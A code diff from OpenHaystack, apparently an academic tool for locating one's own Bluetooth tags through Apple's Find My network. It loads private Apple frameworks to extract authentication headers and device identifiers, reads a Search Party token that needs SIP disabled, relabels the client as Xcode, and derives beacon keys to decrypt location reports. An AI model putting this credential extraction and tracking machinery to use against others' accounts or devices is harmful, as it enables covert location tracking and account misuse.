// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import OSLog
|
||||
|
||||
/// Uses AOSKit to get anisette headers
|
||||
@objc private protocol AOSUtilitiesProtocol
|
||||
{
|
||||
static var machineSerialNumber: String? { get }
|
||||
static var machineUDID: String? { get }
|
||||
|
||||
static func retrieveOTPHeadersForDSID(_ dsid: String) -> [String: Any]?
|
||||
|
||||
// Non-static versions used for respondsToSelector:
|
||||
var machineSerialNumber: String? { get }
|
||||
var machineUDID: String? { get }
|
||||
func retrieveOTPHeadersForDSID(_ dsid: String) -> [String: Any]?
|
||||
}
|
||||
|
||||
/// Uses the AltStore Mail plugin to access recent anisette data.
|
||||
public class AnisetteDataManager: NSObject {
|
||||
@objc static let shared = AnisetteDataManager()
|
||||
@@ -26,7 +42,7 @@ public class AnisetteDataManager: NSObject {
|
||||
}
|
||||
|
||||
func requestAnisetteData(_ completion: @escaping (Result<AppleAccountData, Error>) -> Void) {
|
||||
if let accountData = self.requestAnisetteDataAuthKit() {
|
||||
if let accountData = self.requestAnisetteDataAOSKit() {
|
||||
os_log(.debug, "Anisette Data loaded %@", accountData.debugDescription)
|
||||
completion(.success(accountData))
|
||||
return
|
||||
@@ -84,6 +100,61 @@ public class AnisetteDataManager: NSObject {
|
||||
return accountData
|
||||
}
|
||||
|
||||
/// Adapted from: https://github.com/altstoreio/AltStore/blob/main/AltServer/Anisette%20Data/AnisetteDataManager.swift
|
||||
func requestAnisetteDataAOSKit() -> AppleAccountData? {
|
||||
do
|
||||
{
|
||||
let aosKitURL = URL(fileURLWithPath: "/System/Library/PrivateFrameworks/AOSKit.framework")
|
||||
guard let aosKit = Bundle(url: aosKitURL) else { throw AnisetteDataError.aosKitFailure }
|
||||
try aosKit.loadAndReturnError()
|
||||
|
||||
guard let AOSUtilitiesClass = NSClassFromString("AOSUtilities"),
|
||||
AOSUtilitiesClass.responds(to: #selector(AOSUtilitiesProtocol.retrieveOTPHeadersForDSID(_:))),
|
||||
AOSUtilitiesClass.responds(to: #selector(getter: AOSUtilitiesProtocol.machineSerialNumber)),
|
||||
AOSUtilitiesClass.responds(to: #selector(getter: AOSUtilitiesProtocol.machineUDID))
|
||||
else { throw AnisetteDataError.aosKitFailure }
|
||||
|
||||
let AOSUtilities = unsafeBitCast(AOSUtilitiesClass, to: AOSUtilitiesProtocol.Type.self)
|
||||
|
||||
guard let anisetteData = AOSUtilities.retrieveOTPHeadersForDSID("-2") else { throw AnisetteDataError.aosKitFailure }
|
||||
|
||||
guard let machineID = anisetteData["X-Apple-MD-M"] as? String,
|
||||
let otp = anisetteData["X-Apple-MD"] as? String,
|
||||
let deviceId = AOSUtilities.machineUDID,
|
||||
let localUserId = deviceId.data(using: .utf8)?.base64EncodedString(),
|
||||
let deviceClass = NSClassFromString("AKDevice")
|
||||
else {
|
||||
print("Failure retrieving anisette headers from AOSKit")
|
||||
throw AnisetteDataError.aosKitFailure
|
||||
}
|
||||
let device: AKDevice = deviceClass.current()
|
||||
|
||||
let routingInfo: UInt64 = 84215040
|
||||
let accountData = AppleAccountData(
|
||||
machineID: machineID,
|
||||
oneTimePassword: otp,
|
||||
localUserID: localUserId,
|
||||
routingInfo: routingInfo,
|
||||
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
|
||||
deviceSerialNumber: device.serialNumber(),
|
||||
deviceDescription: device.serverFriendlyDescription(),
|
||||
date: Date(),
|
||||
locale: Locale.current,
|
||||
timeZone: TimeZone.current)
|
||||
|
||||
/// This only works with SIP disabled
|
||||
if let spToken = ReportsFetcher().fetchSearchpartyToken() {
|
||||
accountData.searchPartyToken = spToken
|
||||
}
|
||||
return accountData
|
||||
}
|
||||
catch
|
||||
{
|
||||
return nil
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@objc func requestAnisetteDataObjc(_ completion: @escaping ([AnyHashable: Any]?) -> Void) {
|
||||
self.requestAnisetteData { result in
|
||||
switch result {
|
||||
@@ -96,8 +167,9 @@ public class AnisetteDataManager: NSObject {
|
||||
"X-Apple-I-MD-M": data.machineID,
|
||||
"X-Apple-I-MD": data.oneTimePassword,
|
||||
"X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
|
||||
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
|
||||
"X-Apple-I-MD-RINFO": String(data.routingInfo)
|
||||
// "X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
|
||||
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: Date()),
|
||||
"X-Apple-I-MD-RINFO": String(data.routingInfo),
|
||||
] as [AnyHashable: Any])
|
||||
}
|
||||
}
|
||||
@@ -110,7 +182,8 @@ extension AnisetteDataManager {
|
||||
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
|
||||
|
||||
if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
|
||||
let appleAccountData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: AppleAccountData.self, from: archivedAnisetteData) {
|
||||
let appleAccountData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: AppleAccountData.self, from: archivedAnisetteData)
|
||||
{
|
||||
if let range = appleAccountData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
|
||||
var adjustedDescription = appleAccountData.deviceDescription[..<range.lowerBound]
|
||||
adjustedDescription += "(com.apple.dt.Xcode/3594.4.19)>"
|
||||
@@ -128,7 +201,8 @@ extension AnisetteDataManager {
|
||||
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
|
||||
|
||||
if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
|
||||
let anisetteData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: ALTAnisetteData.self, from: archivedAnisetteData) {
|
||||
let anisetteData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: ALTAnisetteData.self, from: archivedAnisetteData)
|
||||
{
|
||||
if let range = anisetteData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
|
||||
var adjustedDescription = anisetteData.deviceDescription[..<range.lowerBound]
|
||||
adjustedDescription += "(com.apple.dt.Xcode/3594.4.19)>"
|
||||
@@ -158,4 +232,5 @@ extension AnisetteDataManager {
|
||||
enum AnisetteDataError: Error {
|
||||
case pluginNotFound
|
||||
case invalidAnisetteData
|
||||
case aosKitFailure
|
||||
}
|
||||
|
||||
@@ -1,44 +0,0 @@
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
import Cocoa
|
||||
import SwiftUI
|
||||
|
||||
@NSApplicationMain
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
|
||||
private var mainView: some View {
|
||||
if ProcessInfo().arguments.contains("-preview") {
|
||||
return OpenHaystackMainView(accessoryController: AccessoryController(accessories: PreviewData.accessories))
|
||||
}
|
||||
return OpenHaystackMainView()
|
||||
}
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 750, height: 480),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: mainView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.866"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "0.758",
|
||||
"white" : "0.310"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.657"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "0.758",
|
||||
"white" : "0.237"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0.000",
|
||||
"green" : "0.000",
|
||||
"red" : "0.000"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "1.000",
|
||||
"green" : "1.000",
|
||||
"red" : "1.000"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@@ -19,9 +21,17 @@ NS_ASSUME_NONNULL_BEGIN
|
||||
/// For OF the first byte has to be dropped
|
||||
+ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData;
|
||||
|
||||
/// Derive a public key from a given private key
|
||||
/// @param privateKeyData an EC private key on the P-224 curve
|
||||
/// @returns The public key in a uncompressed format using 28*2+1 bytes. The first byte is used for identifying if its odd or even.
|
||||
+ (NSData *_Nullable)deriveUncompressedPublicKeyFromPrivateKey:(NSData *)privateKeyData ;
|
||||
|
||||
/// Generate a new EC private key and exports it as data
|
||||
+ (NSData *_Nullable)generateNewPrivateKey;
|
||||
|
||||
/// Calculate private key from derived data
|
||||
+ (NSData *_Nullable)calculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey;
|
||||
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "BoringSSL.h"
|
||||
|
||||
@@ -46,11 +48,14 @@
|
||||
char *buf;
|
||||
BIO_get_mem_data(bio, &buf);
|
||||
NSLog(@"Generating shared key failed %s", buf);
|
||||
free(buf);
|
||||
BIO_free(bio);
|
||||
}
|
||||
|
||||
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
|
||||
// NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
|
||||
//Free
|
||||
EC_KEY_free(key);
|
||||
EC_GROUP_free(curve);
|
||||
EC_POINT_free(publicKey);
|
||||
|
||||
return sharedKey;
|
||||
}
|
||||
@@ -66,7 +71,7 @@
|
||||
// Public key will be stored in point
|
||||
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
|
||||
[self printPoint:point withGroup:group];
|
||||
|
||||
|
||||
// Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
@@ -88,24 +93,28 @@
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
|
||||
// Read in the private key data
|
||||
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||
|
||||
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
|
||||
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed");
|
||||
return nil;
|
||||
}
|
||||
|
||||
res = EC_KEY_set_public_key(key, point);
|
||||
EC_POINT_free(point);
|
||||
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed");
|
||||
return nil;
|
||||
}
|
||||
|
||||
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||
EC_KEY_set_private_key(key, privateKeyNum);
|
||||
|
||||
// Free the big numbers
|
||||
EC_KEY_set_private_key(key, privateKeyNum);
|
||||
BN_free(privateKeyNum);
|
||||
|
||||
// Free
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
return key;
|
||||
@@ -124,6 +133,34 @@
|
||||
|
||||
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
|
||||
|
||||
//Free
|
||||
EC_KEY_free(key);
|
||||
EC_GROUP_free(curve);
|
||||
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
return publicKeyBytes;
|
||||
}
|
||||
|
||||
/// Derive a uncompressed public key from a given private key
|
||||
/// @param privateKeyData an EC private key on the P-224 curve
|
||||
+ (NSData *_Nullable)deriveUncompressedPublicKeyFromPrivateKey:(NSData *)privateKeyData {
|
||||
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
|
||||
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
|
||||
|
||||
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
|
||||
|
||||
size_t keySize = 28*2 + 1;
|
||||
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
|
||||
|
||||
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_UNCOMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
|
||||
|
||||
//Free
|
||||
EC_KEY_free(key);
|
||||
EC_GROUP_free(curve);
|
||||
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
@@ -143,7 +180,10 @@
|
||||
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
|
||||
|
||||
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
|
||||
|
||||
|
||||
|
||||
EC_KEY_free(key);
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
@@ -151,6 +191,142 @@
|
||||
return privateKeyBytes;
|
||||
}
|
||||
|
||||
+ (NSData *_Nullable)internalCalculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey
|
||||
curve:(EC_GROUP *) curve
|
||||
bignum_context:(BN_CTX *) context
|
||||
order:(BIGNUM *) order
|
||||
u_i_bn:(BIGNUM *) u_i_bn
|
||||
v_i_bn:(BIGNUM *) v_i_bn
|
||||
d_0_bn:(BIGNUM *) d_0_bn
|
||||
d_i_bn:(BIGNUM *) d_i_bn
|
||||
tmp_bn:(BIGNUM *) tmp_bn{
|
||||
// get (order of G) - 1 of our curve
|
||||
int res = EC_GROUP_get_order(curve, order, context);
|
||||
EC_GROUP_free(curve);
|
||||
if(res != 1){
|
||||
NSLog(@"Could not get Order of G for NID_secp224r1 with error: %d", res);
|
||||
return nil;
|
||||
}
|
||||
|
||||
res = BN_sub_word(order, 1);
|
||||
if(res != 1){
|
||||
NSLog(@"Could not calculate order - 1 (%d)", res);
|
||||
return nil;
|
||||
}
|
||||
|
||||
// get u_i and v_i as BIGNUM
|
||||
NSData *u_i_data = [sharedData subdataWithRange:NSMakeRange(0, sharedData.length/2)];
|
||||
NSData *v_i_data = [sharedData subdataWithRange:NSMakeRange(sharedData.length/2, sharedData.length/2)];
|
||||
|
||||
/*
|
||||
NSLog(@"u_i_data: %@", u_i_data);
|
||||
NSLog(@"v_i_data: %@", v_i_data);
|
||||
*/
|
||||
|
||||
BN_bin2bn(u_i_data.bytes, u_i_data.length, u_i_bn);
|
||||
BN_bin2bn(v_i_data.bytes, v_i_data.length, v_i_bn);
|
||||
|
||||
//Calculate:
|
||||
//u_i = u_i (mod q-1) + 1
|
||||
res = BN_mod(tmp_bn, u_i_bn, order, context);
|
||||
if (res != 1){
|
||||
NSLog(@"Error while calculating u_i (mod q-1) (%d)", res);
|
||||
return nil;
|
||||
}
|
||||
BN_copy(u_i_bn, tmp_bn);
|
||||
res = BN_add_word(u_i_bn, 1);
|
||||
if (res != 1){
|
||||
NSLog(@"Error while adding 1 to v_i (mod q-1) (%d)", res);
|
||||
return nil;
|
||||
}
|
||||
//v_i = v_i (mod q-1) + 1
|
||||
res = BN_mod(tmp_bn, v_i_bn, order, context);
|
||||
if (res != 1){
|
||||
NSLog(@"Error while calculating u_i (mod q-1) (%d)", res);
|
||||
return nil;
|
||||
}
|
||||
BN_copy(v_i_bn, tmp_bn);
|
||||
res = BN_add_word(v_i_bn, 1);
|
||||
if (res != 1){
|
||||
NSLog(@"Error while adding 1 to v_i (mod q-1) (%d)", res);
|
||||
return nil;
|
||||
}
|
||||
|
||||
/*
|
||||
size_t uv_size = BN_num_bytes(u_i_bn);
|
||||
NSMutableData *u_i_data2 = [[NSMutableData alloc] initWithLength:uv_size];
|
||||
BN_bn2bin(u_i_bn, u_i_data2.mutableBytes);
|
||||
NSLog(@"u_i_data: %@", u_i_data2);
|
||||
|
||||
uv_size = BN_num_bytes(u_i_bn);
|
||||
NSMutableData *v_i_data2 = [[NSMutableData alloc] initWithLength:uv_size];
|
||||
BN_bn2bin(v_i_bn, v_i_data2.mutableBytes);
|
||||
NSLog(@"v_i_data: %@", v_i_data2);
|
||||
*/
|
||||
|
||||
// calculate d_i = d_0_bn * u_i_bn + v_i_bn (new private key)
|
||||
BN_bin2bn(masterBeaconPrivateKey.bytes, masterBeaconPrivateKey.length, d_0_bn);
|
||||
res = BN_mul(tmp_bn, d_0_bn, u_i_bn, context);
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed bignum multiplication with error: %d", res);
|
||||
return nil;
|
||||
}
|
||||
|
||||
res = BN_add(d_i_bn, tmp_bn, v_i_bn);
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed bignum addition with error: %d", res);
|
||||
return nil;
|
||||
}
|
||||
|
||||
// normalize point to 28 bytes to have a valid scaler as private key
|
||||
EC_GROUP_get_order(curve, order, context);
|
||||
BN_copy(tmp_bn, d_i_bn);
|
||||
res = BN_mod(d_i_bn, tmp_bn, order, context);
|
||||
if(res != 1){
|
||||
NSLog(@"Failed bignum modulo with error: %d", res);
|
||||
}
|
||||
|
||||
// get private key as bytes
|
||||
size_t d_i_size = BN_num_bytes(d_i_bn);
|
||||
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:d_i_size];
|
||||
size_t size = BN_bn2bin(d_i_bn, privateKeyBytes.mutableBytes);
|
||||
|
||||
if(size < 1){
|
||||
return nil;
|
||||
}
|
||||
|
||||
return privateKeyBytes;
|
||||
}
|
||||
|
||||
+ (NSData *_Nullable)calculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey {
|
||||
//Get the group
|
||||
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
|
||||
// Create big number context
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
|
||||
BIGNUM *order = BN_new();
|
||||
BIGNUM *u_i_bn = BN_new();
|
||||
BIGNUM *v_i_bn = BN_new();
|
||||
BIGNUM *d_0_bn = BN_new();
|
||||
BIGNUM *d_i_bn = BN_new();
|
||||
BIGNUM *tmp_bn = BN_new();
|
||||
|
||||
NSData* privateKeyBytes = [self internalCalculatePrivateKeyFromSharedData:sharedData masterBeaconPrivateKey:masterBeaconPrivateKey curve:curve bignum_context:ctx order:order u_i_bn:u_i_bn v_i_bn:v_i_bn d_0_bn:d_0_bn d_i_bn:d_i_bn tmp_bn:tmp_bn];
|
||||
|
||||
// Free all the things
|
||||
EC_GROUP_free(curve);
|
||||
BN_CTX_free(ctx);
|
||||
BN_free(order);
|
||||
BN_free(u_i_bn);
|
||||
BN_free(v_i_bn);
|
||||
BN_free(d_0_bn);
|
||||
BN_free(d_i_bn);
|
||||
BN_free(tmp_bn);
|
||||
|
||||
return privateKeyBytes;
|
||||
}
|
||||
|
||||
+ (void)printPoint:(const EC_POINT *)point withGroup:(EC_GROUP *)group {
|
||||
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
|
||||
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
@@ -18,7 +20,12 @@ struct DecryptReports {
|
||||
/// - Throws: Errors if the decryption fails
|
||||
/// - Returns: An decrypted location report
|
||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||
let payloadData = report.payload
|
||||
var payloadData = report.payload
|
||||
/// Fix decryption for new report format
|
||||
/// See: https://github.com/biemster/FindMy/issues/52
|
||||
if payloadData.count > 88 {
|
||||
payloadData.remove(at: 5)
|
||||
}
|
||||
let keyData = key.privateKey
|
||||
|
||||
let privateKey = keyData
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Combine
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
class FindMyController: ObservableObject {
|
||||
static let shared = FindMyController()
|
||||
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
|
||||
@@ -32,7 +32,11 @@ class FindMyController: ObservableObject {
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt the reports with the imported keys
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
DispatchQueue.global(qos: .background).async { [weak self] in
|
||||
guard let self = self else {
|
||||
completion()
|
||||
return
|
||||
}
|
||||
|
||||
var d = self.devices
|
||||
// Add the reports to the according device by finding the right key for the report
|
||||
@@ -57,8 +61,8 @@ class FindMyController: ObservableObject {
|
||||
}
|
||||
|
||||
// Decrypt the reports
|
||||
self.decryptReports {
|
||||
self.exportDevices()
|
||||
self.decryptReports { [weak self] in
|
||||
self?.exportDevices()
|
||||
DispatchQueue.main.async {
|
||||
completion()
|
||||
}
|
||||
@@ -97,11 +101,6 @@ class FindMyController: ObservableObject {
|
||||
|
||||
self.fetchReports(with: token) { error in
|
||||
|
||||
let reports = FindMyController.shared.devices.compactMap({ $0.reports }).flatMap({ $0 })
|
||||
if reports.isEmpty == false {
|
||||
AccessoryController.shared.updateWithDecryptedReports(devices: FindMyController.shared.devices)
|
||||
}
|
||||
|
||||
if let error = error {
|
||||
completion(.failure(error))
|
||||
os_log("Error: %@", String(describing: error))
|
||||
@@ -113,7 +112,11 @@ class FindMyController: ObservableObject {
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
DispatchQueue.global(qos: .background).async { [weak self] in
|
||||
guard let self = self else {
|
||||
completion(FindMyErrors.objectReleased)
|
||||
return
|
||||
}
|
||||
let fetchReportGroup = DispatchGroup()
|
||||
|
||||
let fetcher = ReportsFetcher()
|
||||
@@ -145,6 +148,10 @@ class FindMyController: ObservableObject {
|
||||
|
||||
} catch {
|
||||
print("Failed with error \(error)")
|
||||
if jsonData.isEmpty {
|
||||
print("Empty response, consider updating your Search Party Token")
|
||||
completion(FindMyErrors.invalidSearchPartyToken)
|
||||
}
|
||||
devices[deviceIndex].reports = []
|
||||
}
|
||||
fetchReportGroup.leave()
|
||||
@@ -171,7 +178,11 @@ class FindMyController: ObservableObject {
|
||||
}
|
||||
#endif
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async { [weak self] in
|
||||
guard let self = self else {
|
||||
completion(FindMyErrors.objectReleased)
|
||||
return
|
||||
}
|
||||
self.devices = devices
|
||||
|
||||
self.decryptReports {
|
||||
@@ -231,17 +242,8 @@ class FindMyController: ObservableObject {
|
||||
|
||||
}
|
||||
|
||||
struct FindMyControllerKey: EnvironmentKey {
|
||||
static var defaultValue: FindMyController = .shared
|
||||
}
|
||||
|
||||
extension EnvironmentValues {
|
||||
var findMyController: FindMyController {
|
||||
get { self[FindMyControllerKey.self] }
|
||||
set { self[FindMyControllerKey.self] = newValue }
|
||||
}
|
||||
}
|
||||
|
||||
enum FindMyErrors: Error {
|
||||
case decodingPlistFailed(message: String)
|
||||
case objectReleased
|
||||
case invalidSearchPartyToken
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import CoreLocation
|
||||
import Foundation
|
||||
|
||||
@@ -1,44 +1,67 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Combine
|
||||
import Foundation
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
class AccessoryController: ObservableObject {
|
||||
static let shared = AccessoryController()
|
||||
|
||||
@AppStorage("searchPartyToken") private var searchPartyToken: String = ""
|
||||
@Published var accessories: [Accessory]
|
||||
var selfObserver: AnyCancellable?
|
||||
var listElementsObserver = [AnyCancellable]()
|
||||
let findMyController: FindMyController
|
||||
|
||||
var accessoryObserver: AnyCancellable?
|
||||
weak var savePanel: NSSavePanel?
|
||||
|
||||
init() {
|
||||
self.accessories = KeychainController.loadAccessoriesFromKeychain()
|
||||
self.accessoryObserver = self.accessories.publisher
|
||||
.sink { _ in
|
||||
try? self.save()
|
||||
}
|
||||
init(accessories: [Accessory], findMyController: FindMyController) {
|
||||
self.accessories = accessories
|
||||
self.findMyController = findMyController
|
||||
initAccessoryObserver()
|
||||
initObserver()
|
||||
}
|
||||
|
||||
init(accessories: [Accessory]) {
|
||||
self.accessories = accessories
|
||||
convenience init() {
|
||||
self.init(accessories: KeychainController.loadAccessoriesFromKeychain(), findMyController: FindMyController())
|
||||
}
|
||||
|
||||
func initAccessoryObserver() {
|
||||
self.selfObserver = self.objectWillChange.sink { [weak self] _ in
|
||||
// objectWillChange is called before the values are actually changed,
|
||||
// so we dispatch the call to save()
|
||||
DispatchQueue.main.async { [weak self] in
|
||||
self?.initObserver()
|
||||
try? self?.save()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func initObserver() {
|
||||
self.listElementsObserver.forEach({
|
||||
$0.cancel()
|
||||
})
|
||||
self.accessories.forEach({
|
||||
let c = $0.objectWillChange.sink(receiveValue: { [weak self] in self?.objectWillChange.send() })
|
||||
